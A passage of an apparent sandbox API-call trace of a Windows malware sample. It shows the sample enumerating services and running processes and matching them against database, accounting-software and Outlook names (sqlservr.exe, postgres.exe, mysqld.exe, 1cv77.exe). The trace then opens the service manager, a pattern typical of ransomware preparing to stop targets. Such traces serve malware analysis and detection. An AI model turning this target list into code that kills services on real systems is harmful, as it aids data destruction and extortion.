(lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0133.612] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0133.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0133.612] lstrlenW (lpString="MMCSS") returned 5 [0133.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0133.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0133.612] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0133.612] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0133.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0133.612] lstrlenW (lpString="MpsSvc") returned 6 [0133.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0133.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0133.612] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0133.612] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0133.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0133.612] lstrlenW (lpString="NlaSvc") returned 6 [0133.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0133.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0133.612] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0133.612] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0133.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0133.612] lstrlenW (lpString="nsi") returned 3 [0133.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0133.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0133.612] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0133.612] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0133.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0133.612] lstrlenW (lpString="PcaSvc") returned 6 [0133.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0133.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0133.612] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0133.613] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0133.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0133.613] lstrlenW (lpString="PlugPlay") returned 8 [0133.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0133.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0133.613] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0133.613] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0133.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0133.613] lstrlenW (lpString="Power") returned 5 [0133.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0133.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0133.613] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0133.613] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0133.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0133.613] lstrlenW (lpString="ProfSvc") returned 7 [0133.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0133.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0133.613] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0133.613] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0133.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0133.613] lstrlenW (lpString="RpcEptMapper") returned 12 [0133.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.613] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0133.613] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0133.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0133.613] lstrlenW (lpString="RpcSs") returned 5 [0133.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0133.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0133.613] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0133.613] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0133.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0133.613] lstrlenW (lpString="SamSs") returned 5 [0133.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0133.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0133.613] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0133.614] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0133.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0133.614] lstrlenW (lpString="Schedule") returned 8 [0133.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0133.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0133.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0133.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0133.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0133.614] lstrlenW (lpString="SENS") returned 4 [0133.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0133.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0133.614] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0133.614] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0133.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0133.614] lstrlenW (lpString="ShellHWDetection") returned 16 [0133.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.614] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0133.614] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0133.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0133.614] lstrlenW (lpString="Spooler") returned 7 [0133.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0133.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0133.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0133.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0133.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0133.614] lstrlenW (lpString="Themes") returned 6 [0133.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0133.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0133.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0133.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0133.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0133.614] lstrlenW (lpString="UxSms") returned 5 [0133.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0133.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0133.615] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0133.615] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0133.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0133.615] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428b3d0 | out: hHeap=0x880000) returned 1 [0133.615] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0133.617] Process32FirstW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.617] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.618] lstrlenW (lpString="System") returned 6 [0133.618] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0133.618] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0133.618] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0133.618] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0133.618] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0133.618] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0133.618] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0133.618] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.618] lstrlenW (lpString="smss.exe") returned 8 [0133.618] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0133.618] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0133.619] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0133.619] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0133.619] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0133.619] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0133.619] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0133.619] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.619] lstrlenW (lpString="csrss.exe") returned 9 [0133.619] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0133.619] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0133.619] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0133.619] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0133.619] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0133.619] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0133.619] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0133.619] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.620] lstrlenW (lpString="wininit.exe") returned 11 [0133.620] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0133.620] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0133.620] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0133.620] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0133.620] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0133.620] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0133.620] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0133.620] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.620] lstrlenW (lpString="csrss.exe") returned 9 [0133.620] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0133.620] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0133.620] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0133.620] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0133.620] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0133.620] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0133.620] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0133.620] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.621] lstrlenW (lpString="winlogon.exe") returned 12 [0133.621] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0133.621] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0133.621] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0133.621] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0133.621] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0133.621] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0133.621] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0133.621] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.621] lstrlenW (lpString="services.exe") returned 12 [0133.621] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0133.621] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0133.621] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0133.622] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0133.622] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0133.622] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0133.622] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0133.622] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.622] lstrlenW (lpString="lsass.exe") returned 9 [0133.622] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0133.622] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0133.622] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0133.622] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0133.622] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0133.622] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0133.622] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0133.622] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0133.623] lstrlenW (lpString="lsm.exe") returned 7 [0133.623] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0133.623] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0133.623] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0133.623] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0133.623] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0133.623] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0133.623] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0133.623] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.623] lstrlenW (lpString="svchost.exe") returned 11 [0133.624] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.624] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.624] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.624] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.624] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.624] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.624] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.624] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.624] lstrlenW (lpString="svchost.exe") returned 11 [0133.624] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.624] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.624] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.624] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.624] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.625] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.625] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.625] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.625] lstrlenW (lpString="svchost.exe") returned 11 [0133.625] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.625] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.625] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.625] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.625] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.625] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.625] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.625] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.626] lstrlenW (lpString="svchost.exe") returned 11 [0133.626] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.626] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.626] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.626] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.626] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.626] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.626] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.626] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.627] lstrlenW (lpString="svchost.exe") returned 11 [0133.627] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.627] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.627] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.627] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.627] lstrlenW (lpString="audiodg.exe") returned 11 [0133.627] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.628] lstrlenW (lpString="svchost.exe") returned 11 [0133.628] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0133.628] lstrlenW (lpString="userinit.exe") returned 12 [0133.628] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.628] lstrlenW (lpString="explorer.exe") returned 12 [0133.628] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.629] lstrlenW (lpString="dwm.exe") returned 7 [0133.629] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.629] lstrlenW (lpString="svchost.exe") returned 11 [0133.629] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0133.629] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0133.629] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.630] lstrlenW (lpString="spoolsv.exe") returned 11 [0133.630] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0133.630] lstrlenW (lpString="dllhost.exe") returned 11 [0133.630] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0133.630] lstrlenW (lpString="reader_sl.exe") returned 13 [0133.630] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.631] lstrlenW (lpString="svchost.exe") returned 11 [0133.631] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.631] lstrlenW (lpString="taskhost.exe") returned 12 [0133.631] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0133.631] CloseHandle (hObject=0x36c) returned 1 [0133.631] Sleep (dwMilliseconds=0x1f4) [0134.463] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b438 [0134.634] EnumServicesStatusExW (in: hSCManager=0x428b438, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, 